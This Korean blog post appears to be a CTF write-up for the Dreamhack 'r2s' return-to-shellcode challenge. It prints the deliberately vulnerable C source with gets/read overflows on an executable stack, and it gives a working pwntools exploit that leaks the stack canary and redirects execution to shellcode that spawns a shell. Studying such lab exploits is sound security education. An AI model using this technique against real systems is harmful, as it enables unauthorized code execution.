문제 : https://dreamhack.io/wargame/challenges/352/
Environment
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
RELRO, Canary를 확인할 수 있음
또한, stack이 현재 executable하다는 것은, 스택에 올린 명령어 (쉘코드)가 그대로 실행 가능함을 나타냄
Code Analysis
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
코드를 확인해보면, 버퍼의 크기는 50이고 입력을 두번 받는다
입력을 두번 받는데, 코드에서 말해주듯이 첫번째는 카나리의 인포릭이 필요하고 두번째에는 쉘코드로 overwrite하도록 되어있다.
맨 처음에 buf의 주소와, 스택의 base pointer와 buf가 떨어진 거리를 계산해준다.
해당 코드에서 발생하는 취약점은 stack buffer overflow가 두번의 입력 모두 발생한다
Exploit Idea
- 카나리 릭
- 쉘 코드 넣기
Stack Frame
buf부터 SFP까지 총 96바이트 떨어져있음 (0x60)
canary가 8바이트, buf가 0x50바이트이므로 8바이트의 canary와 buf 사이 빈 공간이 존재한다는 것을 알 수 있음
[ 8바이트는 어디에 존재하는가? ]
buf와 canary 사이에 존재하는지, canary와 SFP 사이에 존재하는지 확인하는 방법은?
> 분석을 통해 그저 카나리가 어디에 push 되는지 확인할 수 밖에 없다
Exploit Scenario
buf의 주소를 알아낸다
buf에서 SFP까지의 거리를 알아낸 후, buf에서 SFP까지의 거리에서 -8하면 카나리 까지의 거리가 된다
이를 이용하여 buf에서 카나리까지의 거리에 +1(맨 앞이 null이라 괜찮음)의 값을 보내 카나리 릭을 한다
이를 통해 카나리 값을 알아낼 수 있음
쉘코드를 buf에 넣은 후, 카나리까지 전부 덮는다
카나리를 알아낸 카나리로 덮고, SFP까지 덮어준 후, RET함수에서 다시 buf 주소로 돌아가게끔 실행흐름을 조작하면 buf에 저장된 쉘코드를 실행하게 된다.
Exploit
from pwn import *
p = remote("", )
context.arch = 'amd64'
#info
p.recvuntil(b"buf: ")
buf_addr = int(p.recvline()[:-1], 16) #little endian, hex
p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
buf2cnry = buf2sfp - 0x8
#infoleak(cnry)
payload = b'A'*(buf2cnry+1)
p.sendafter(b': ', payload)
p.recvuntil(payload)
cnry = b'\x00' + p.recvn(7)
#exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry,b'A') + cnry + b'A'*0x8 +p64(buf_addr)
p.sendlineafter(b'Input:', payload)
p.interactive()
[ ljust란? ]
바이너리.(크기, 어떤걸로)
즉, 쉘코드의 크기를 뒤에 채우는데, buf2cnry의 크기까지 A로 채우겠다는 뜻이다
'Hacking > Wargame' 카테고리의 다른 글
[Pwnable] rop (0) | 2024.12.29 |
---|---|
[Pwnable] Return to Library (2) | 2024.09.16 |
[Reversing] patch (0) | 2024.08.09 |
[Cryptography] Textbook-CBC (4) | 2024.08.03 |
[Reversing] Reversing Basic Challenge #1 (0) | 2024.07.28 |